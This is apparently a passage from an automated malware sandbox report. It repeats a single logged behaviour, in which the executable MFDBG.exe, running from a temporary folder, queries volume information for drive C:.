Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
